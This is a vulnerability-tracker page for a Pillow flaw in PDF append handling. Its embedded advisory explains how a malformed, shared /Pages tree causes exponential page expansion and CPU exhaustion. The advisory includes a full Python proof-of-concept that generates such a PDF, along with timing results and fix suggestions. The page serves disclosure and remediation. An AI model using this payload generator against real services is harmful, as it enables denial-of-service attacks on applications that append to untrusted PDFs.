CVE-2026-96640

highpriority · track · 30EPSS 0.005 · 44 %ileUS
grimoire priorityP2 · Scheduled
Exploitable?
—
no known exploitation
Likely / severe?
0.52% (44th) EPSS
CVSS 7.5 · high
Is it mine?
2 products
Check your exposure
Who says so?
2 sources
nvd · osv

EPSS · scored 2026-10-27

Pillow is a Python imaging library. From 5.1.0 until 13.0.0, PdfParser.linearize_page_tree() in src/PIL/PdfParser.py treats a PDF /Pages graph as a tree without tracking duplicate indirect references. When Image.save(..., format="PDF", append=True) processes an attacker-controlled existing PDF whose /Kids arrays repeatedly reference the same child /Pages node, Pillow expands the shared subtree as distinct pages. A compact malformed PDF can therefore create exponentially many page references and consume disproportionate CPU before the append completes. This issue is fixed in version 13.0.0.

01

cvss

Technical severity, 0–10. One row per scoring source.

8.2
010

base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · medium–high · 4.6–8.2

v3.17.5highCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:Hprimary · NVD / NIST USexploitability 3.9 · impact 3.6
v4.08.2highCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Xsecondary · security-advisories@github.com
v4.04.6mediumCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Xsecondary · CVSS-BT (t0sche)
02

weaknesses

The CWE weakness classes this flaw belongs to.

03

affected products (2)

Products and version ranges known to be affected.

04

advisories (1)

Vendor and ecosystem advisories describing this.

  • GHSA-mrfp-p49p-3hf2Pillow PDF append accepts malformed shared page-tree DAG causing resource exhaustion2026-10-22ghsa · osvUS

    ### Summary Pillow's documented PDF append path can spend disproportionate CPU time on a compact malformed PDF page tree. An attacker who can supply an existing PDF to an application that appends an image with `Image.save(..., format="PDF", append=True)` can provide a malformed `/Pages` tree where each level repeats the same child `/Pages` reference in `/Kids`. Pillow treats the graph as a tree and expands each repeated reference in `PdfParser.linearize_page_tree()` without tracking visited or duplicate indirect references. In the bounded proof below, a `1410`-byte PDF expands to `8192` page references from one distinct page object and takes about `9.6` seconds through the append path. A comparable linear control with the same depth stays at one page reference and completes in about `0.02` seconds. This is in scope for Pillow's security policy because it is reproducible in `main`, affects the latest public release tested (`12.3.0`), and is not just an unexpected Python exception. The vulnerable operation accepts attacker-controlled PDF bytes through Pillow's PDF parser and causes deterministic resource consumption before normal completion. ### Details #### Affected versions - Package: `Pillow` - Ecosystem: `pip` / PyPI - Affected component: `src/PIL/PdfParser.py` page-tree traversal reached from `src/PIL/PdfImagePlugin.py` PDF append handling - Runtime-tested affected release: `12.3.0` - Runtime-tested affected development version: `13.0.0.dev0` - Tested commit: `b39b9649312fbc381060e8c7c7f9f0de4cc63daa` - Current source artifact hash: `sha256(git archive --format=tar HEAD) = 2ccefca23d432456765be8d3c34564c65ba016b0c9da1e44ca389762f7eda054` - Release `12.3.0` commit: `bb1d8e8ab8d29048624d96e3ee53cecf7c13d13d` - Release `12.3.0` source artifact hash: `sha256(git archive --format=tar 12.3.0) = 94bed33fd20123938dbc0153d295250bb4e3c09251b6d4a34f7595e25d409c81` - Source-level affected: `5.1.0`, `12.2.0`, `12.3.0`, and `HEAD` - Likely affected range: `>= 5.1.0` - Patched versions: none known Evidence fact strings: - Runtime-tested affected: 12.3.0 - Runtime-tested affected: 13.0.0.dev0 at b39b9649312fbc381060e8c7c7f9f0de4cc63daa - Source-level affected: 5.1.0 - Source-level affected: 12.2.0 - Source-level affected: HEAD - Likely affected range: >= 5.1.0, no fixed version known - Pre-boundary note: 5.0.0 has PdfImagePlugin.py but no src/PIL/PdfParser.py `5.0.0` contains `src/PIL/PdfImagePlugin.py` but does not contain `src/PIL/PdfParser.py`. `PdfParser.py` was introduced by `6207b44ab1ff4a91d8ddc7579619876d0bb191a4` (`2018-01-18 issue #2959: support appending to existing PDFs`), which shipped in `5.1.0`. #### Technical details The reachable path is: 1. A service or application receives an attacker-influenced existing PDF and appends an image using Pillow's public PDF save path: ```python Image.new("L", (1, 1), 0).save(existing_pdf_file, format="PDF", append=True) ``` 2. `src/PIL/PdfImagePlugin.py` routes `append=True` to `PdfParser`: ```python is_appending = im.encoderinfo.get("append", False) filename_str = filename.decode() if isinstance(filename, bytes) else filename if is_appending: existing_pdf = PdfParser.PdfParser(f=fp, filename=filename_str, mode="r+b") else: existing_pdf = PdfParser.PdfParser(f=fp, filename=filename_str, mode="w+b") ``` 3. `src/PIL/PdfParser.py` parses the existing PDF and linearizes the page tree: ```python self.page_tree_root = self.read_indirect(self.pages_ref) self.pages = self.linearize_page_tree(self.page_tree_root) self.orig_pages = self.pages[:] ``` 4. `linearize_page_tree()` recursively follows every `/Kids` entry and extends the page list. It does not track page-tree node identity, duplicate references, or active traversal references: ```python def linearize_page_tree( self, node: PdfDict | None = None ) -> list[IndirectReference]: page_node = node if node is not None else self.page_tree_root check_format_condition( page_node[b"Type"] == b"Pages", "/Type of page tree node is not /Pages" ) pages = [] for kid in page_node[b"Kids"]: kid_object = self.read_indirect(kid) if kid_object[b"Type"] == b"Page": pages.append(kid) else: pages.extend(self.linearize_page_tree(node=kid_object)) return pages ``` 5. During append, `rewrite_pages()` then iterates the expanded `orig_pages` list and scans/replaces entries in `self.pages`, adding more cost to the already expanded duplicate-reference list. The missing invariant is: ```text The PDF page tree should be treated as an acyclic tree of unique indirect references before Pillow builds pages/orig_pages or rewrites pages. ``` The proof intentionally uses a malformed PDF page-tree DAG: each `/Pages` node repeats the same next `/Pages` child reference twice. Pillow accepts this graph and expands it as if the repeated reference represented distinct subtrees. ### PoC Environment used for validation: - OS/runtime: Linux, Python `3.13.11` - Current tested build: Pillow `13.0.0.dev0`, commit `b39b9649312fbc381060e8c7c7f9f0de4cc63daa` - Latest release tested: Pillow `12.3.0` - The proof uses only synthetic in-memory PDFs and does not contact the network. Save this as `poc_pillow_pdf_page_tree_dag.py`: ```python #!/usr/bin/env python3 from __future__ import annotations import io import json import sys import time from PIL import Image, PdfParser import PIL def make_page_tree_pdf(depth: int, fanout: int) -> bytes: if fanout not in (1, 2): raise ValueError("fanout must be 1 or 2") objects: list[bytes] = [b"<< /Type /Catalog /Pages 2 0 R >>"] for object_id in range(2, depth + 3): next_id = object_id + 1 kids = b" ".join(f"{next_id} 0 R".encode("ascii") for _ in range(fanout)) parent = b"" if object_id == 2 else f" /Parent {object_id - 1} 0 R".encode() objects.append(b"<< /Type /Pages /Kids [ " + kids + b" ]" + parent + b" >>") objects.append(f"<< /Type /Page /Parent {depth + 2} 0 R >>".encode("ascii")) result = bytearray(b"%PDF-1.4\n") offsets = [0] for object_id, value in enumerate(objects, start=1): offsets.append(len(result)) result.extend(f"{object_id} 0 obj\n".encode("ascii")) result.extend(value) result.extend(b"\nendobj\n") xref_offset = len(result) result.extend(f"xref\n0 {len(objects) + 1}\n".encode("ascii")) result.extend(b"0000000000 65535 f \n") for offset in offsets[1:]: result.extend(f"{offset:010d} 00000 n \n".encode("ascii")) result.extend( f"trailer\n<< /Size {len(objects) + 1} /Root 1 0 R >>\n" f"startxref\n{xref_offset}\n%%EOF\n".encode("ascii") ) return bytes(result) def run_case(depth: int, fanout: int) -> dict[str, object]: payload = make_page_tree_pdf(depth, fanout) expected_refs = fanout ** (depth + 1) start = time.monotonic() with PdfParser.PdfParser(buf=payload) as pdf: observed_refs = len(pdf.pages) distinct_refs = len(set(pdf.pages)) parse_seconds = time.monotonic() - start output = io.BytesIO(payload) start = time.monotonic() Image.new("L", (1, 1), 0).save(output, format="PDF", append=True) append_seconds = time.monotonic() - start return { "fanout": fanout, "depth": depth, "input_bytes": len(payload), "expected_refs": expected_refs, "observed_refs": observed_refs, "distinct_refs": distinct_refs, "parse_seconds": round(parse_seconds, 6), "append_seconds": round(append_seconds, 6), "output_bytes_after_append": len(output.getvalue()), } def main() -> int: depth = int(sys.argv[1]) if len(sys.argv) > 1 else 12 if not 0 <= depth <= 16: raise SystemExit("depth must be between 0 and 16") linear = run_case(depth, fanout=1) shared_dag = run_case(depth, fanout=2) checks = { "linear_control_stays_one_page": linear["observed_refs"] == 1, "candidate_expands_to_expected_duplicate_refs": shared_dag["observed_refs"] == shared_dag["expected_refs"], "candidate_has_one_distinct_page_ref": shared_dag["distinct_refs"] == 1, "candidate_input_is_compact": shared_dag["input_bytes"] <= 2048, "append_path_processed_both_inputs": linear["output_bytes_after_append"] > linear["input_bytes"] and shared_dag["output_bytes_after_append"] > shared_dag["input_bytes"], } result = { "pillow_version": PIL.__version__, "pillow_file": PIL.__file__, "depth": depth, "linear_control": linear, "shared_dag_candidate": shared_dag, "checks": checks, "overall_passed": all(checks.values()), } print(json.dumps(result, indent=2, sort_keys=True)) return 0 if result["overall_passed"] else 1 if __name__ == "__main__": raise SystemExit(main()) ``` Run: ```bash python3 poc_pillow_pdf_page_tree_dag.py ``` Expected result: ```text "overall_passed": true "linear_control": observed_refs == 1 "shared_dag_candidate": input_bytes == 1410 "shared_dag_candidate": observed_refs == 8192 "shared_dag_candidate": distinct_refs == 1 ``` Observed on current `main` / `13.0.0.dev0`: ```text 1410-byte input -> 8192 observed page refs -> 9.563007s append ``` Observed on Pillow `12.3.0`: ```text Pillow 12.3.0: 1410-byte input -> 8192 observed page refs -> 9.670602s append ``` For comparison, the linear control in the same harness uses a comparable-depth page tree with `fanout=1`; it produces one page reference and completed append in about `0.016` to `0.028` seconds in my validation runs. ### Impact This is an availability issue in Pillow's PDF append handling. Applications are impacted if untrusted users can supply an existing PDF that the application later appends to, watermarks, or exports using Pillow's `Image.save(..., format="PDF", append=True)` route. The demonstrated primitive is deterministic CPU/resource amplification from compact attacker-controlled PDF bytes. The proof does not demonstrate confidentiality impact, integrity impact, memory corruption, filesystem access, network access, or impact through ordinary `Image.open()`. Requires attacker-influenced existing PDF processed by Pillow's documented PDF append path; not ordinary Image.open(). This should not be treated as just an unexpected Python exception. In the tested affected builds, the malformed PDF is accepted and processed to normal completion after the expensive expansion. ### Remediation Reject duplicate and cyclic page-tree references before constructing `self.pages` and `self.orig_pages`. One possible fix is to pass traversal state through `linearize_page_tree()`: - Track active `/Pages` references to reject cycles. - Track seen page-tree and page indirect references to reject duplicate references. - Raise `PdfFormatError` when the page tree is not an acyclic tree of unique indirect references. Suggested regression tests: - A small PDF whose `/Kids` array repeats the same child `/Pages` reference should raise `PdfFormatError` quickly when used through `Image.save(..., format="PDF", append=True)`. - A normal nested linear page tree should continue to append successfully.

05

sources

Which sources assert this record, and when.

published 2026-10-21modified 2026-10-27
07

references (4) nvd

External citations — patches, advisories, analysis.

scry

Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.

Free scan